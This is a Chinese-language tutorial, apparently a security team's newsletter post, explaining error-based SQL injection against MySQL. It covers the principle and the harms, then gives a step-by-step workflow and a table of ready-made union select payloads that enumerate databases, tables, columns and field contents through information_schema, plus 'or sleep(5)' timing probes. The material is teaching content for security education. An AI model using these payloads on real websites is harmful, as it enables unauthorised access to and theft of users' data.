一、什么是SQL注入:
SQL是结构化查询语言,用于操作关系型数据库管理系统。目前,大多数Web编程语言提供了操作SQL的接口,以方便与数据库进行交互。但是在开发Web应用的过程中,由于忽视了代码的健壮性和安全性,攻击者可以构造巧妙的SQL语句从而获取到敏感数据,因此导致了SQL这种攻击方式的流行。
二、SQL注入的危害:
(1)攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。
(2)可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
(3)如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。
(4)经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。
三、注入攻击的本质:
把用户输入的数据当作代码执行。 注入的两个关键条件: 1. 用户能控制输入。 2. 原本程序要执行的代码,拼接了用户输入的数据。
四、SQL显错注入基本流程 1. 判断是否存在注入点 and 1=1 页面返回正常 and 1=2 页面返回不正常 URL后加单引号’ “ --+页面返回不正常 or sleep(5)页面5秒钟后正常显示 2. 猜解字段数 利用order by 排序 order by 1 以第一个字段排序
3. 联合查询寻找输出点 union select 1,2,3,4#
4. 输出点使用SQL注入语句 在我们语句2的位置输入要查询数据的语句 union select 1,database()#
五、Mysql数据库显错注入常用语句
and 1=1/and 1=2 | 判断是否存在注入 |
---|---|
and 1=1 order by 3 | 按哪一列进行排序,从而可以确定有多少列 |
and 1=2 union select 1,2,3 | 查看页面中显示哪些数字,比如显示2,3 |
and 1=2 union select 1,2,database() | 原本显示3的位置会显示数据库名称 |
and 1=2 union select 1,2,version() | 会显示数据库版本 |
and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= database() | 查询当前数据库下的表名 |
and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名' | 查看数据库字段名 |
and 1=2 union select 1,2,group_concat(字段名) from 表名 | 查看字段内容 |
六、总结
SQL注入漏洞属于高危漏洞,不仅能窃取用户隐私,还可以攻陷服务器危害巨大。由于多方面原因目前仍有少数网站存在此漏洞。学习网络安全不仅是用于渗透测试,更是提升网站开发人员能力的重要途经。本期主要和大家分享了显错注入的原理和常用命令,下期将给大家带来实战视频。
以上内容仅用于信息技术防御教学,切勿用于其他用途。
END
主 编 | 王楠岚
责 编 | KeeCTh
where2go 团队